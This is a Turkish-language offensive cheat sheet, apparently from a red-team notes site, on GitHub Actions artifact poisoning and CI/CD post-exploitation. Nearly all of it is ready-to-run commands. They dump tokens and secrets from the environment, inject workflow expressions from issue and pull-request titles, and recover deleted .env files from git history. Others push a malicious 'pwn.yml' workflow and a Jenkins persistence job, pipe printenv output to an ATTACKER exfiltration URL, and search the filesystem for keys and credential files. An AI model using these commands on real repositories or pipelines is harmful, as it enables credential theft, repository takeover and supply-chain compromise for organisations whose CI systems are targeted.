Gh Actions - Artifact Poisoning
CI/CD post-ex
Gh Actions - Artifact Poisoning — CI/CD ve DevOps ortamında veri/exfil, yan etki ve pivot notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.
Saldırı akışı
Section titled “Saldırı akışı”-
Hedef veriyi / trafiği / compute’u seç.
-
Exfil veya yan etki primitifini çalıştır.
-
İkinci hesap / iç ağ pivotunu dene.
-
Kanıt paketini (çıktı, hash, zaman) kaydet.
Kimlik / oturum
Section titled “Kimlik / oturum”Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.
gh auth status 2>/dev/nullenv | rg -i 'token|secret|key|password' | headaws sts get-caller-identity 2>/dev/nullaz account show 2>/dev/nullgcloud auth list 2>/dev/nullHedef komutlar
Section titled “Hedef komutlar”Gh Actions - Artifact Poisoning için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.
gh api repos/ORG/REPO/actions/runsgh api repos/ORG/REPO/actions/workflowsgh secret list -R ORG/REPOgh workflow list -R ORG/REPOgh workflow run WF.yml -R ORG/REPOgh api repos/ORG/REPO/actions/cachesgh api repos/ORG/REPO/actions/artifactsrun: echo "${{ github.event.issue.title }}"run: curl ${{ github.event.pull_request.title }}git log --all --full-history -- '**/.env' '**/credentials*'gh api repos/ORG/REPO/commits --jq '.[].sha' | headgit show DELETED_SHA:.envgh api -X PUT repos/ORG/REPO/contents/.github/workflows/pwn.yml -f message=pwn -f content=$(base64 -w0 pwn.yml)gh auth statusKalıcılık / etki
Section titled “Kalıcılık / etki”Erişimi tekrar kullanılabilir kanala çevir veya veriyi dışarı al. İkinci bir oturumdan doğrula.
gh api -X PUT repos/ORG/REPO/contents/.github/workflows/persist.yml -f message=x -f content=$(base64 -w0 w.yml)curl -sk -u user:token -X POST https://JENKINS/createItem?name=persist --data-binary @config.xml -H 'Content-Type: application/xml'printenv | curl -sX POST --data-binary @- https://ATTACKER/exfilSecret / credential avı
Section titled “Secret / credential avı”Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'printenv | sortfind / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.
request/response veya CLI çıktısıhesap / proje / clusteretki: okuma | yazma | RCE | lateralzaman damgası + dosya hashmkdir -p evidence/cloud && tee evidence/cloud/notes.txtEk komutlar
Section titled “Ek komutlar”gh api usergh api orgs/ORG/repos --paginategh api repos/ORG/REPO/actions/secrets